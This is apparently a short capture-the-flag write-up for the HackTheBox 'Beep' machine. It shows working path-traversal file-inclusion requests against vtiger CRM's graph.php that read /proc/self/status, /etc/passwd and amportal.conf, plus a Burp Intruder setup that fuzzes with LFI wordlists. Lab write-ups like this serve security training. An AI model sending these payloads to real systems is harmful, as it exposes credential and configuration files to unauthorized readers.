BURP-Suite procedure for enumeration nested directories
BURP-Suite procedure for enumeration nested directories: I completed yesterday the the Beep box though I found a lots of necessary stuff I should make as default when bruteforcing. • Security • burp, security
I completed yesterday the the Beep box though I found a lots of necessary stuff I should make as default when bruteforcing.
for the enumeration of nested directories:
[Burp Suite Repeater]
this was the weak url:
Request2:
GET /vtigercrm/graph.php?current_language=../../../../../../../../proc/self/status%00&module=Accounts&action HTTP/1.1
```json
[](http://xsisec.com/screenshots/Kali%20Linux%2064%20bit%20amd%20-%20VMware%20Workstation_018.png)
This request shows which processes are running by user 'UID/GID'.
Uid: 100 100 100 100
Gid: 101 101 101 101
Request 3:
```http
GET /vtigercrm/graph.php?current_language=../../../../../../../../etc/passwd%00&module=Accounts&action HTTP/1.1
```json
[](https://xsisec.com/screenshots/Kali%20Linux%2064%20bit%20amd%20-%20VMware%20Workstation_016.png)
now lets filter the UID/GID for the above request based on'100:101'
we found:
asterisk:x:100:101:Asterisk VoIP PBX:/var/lib/asterisk:/bin/bash
[Burp Suite Intruder]
send the following request to intruder
```http
GET /vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action HTTP/1.1
Host: beep.htbUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0
now clear all the default '§' and add them in following place:
GET /vtigercrm/graph.php?current_language=../../../../../../../../§attack_here§%00&module=Accounts&action HTTP/1.1Now navigate to Burpsuite>Intruder>REQ1>Payloads and download following Git-repo:
https://github.com/tennc/fuzzdb/tree/master/dict>PayLoad>LFI>
Load following lists: LFI-FD-check.txt LFI-InterestingFiles.txt LFI-LogFileCheck.txt
Click on Start attack
now sort the content based on length
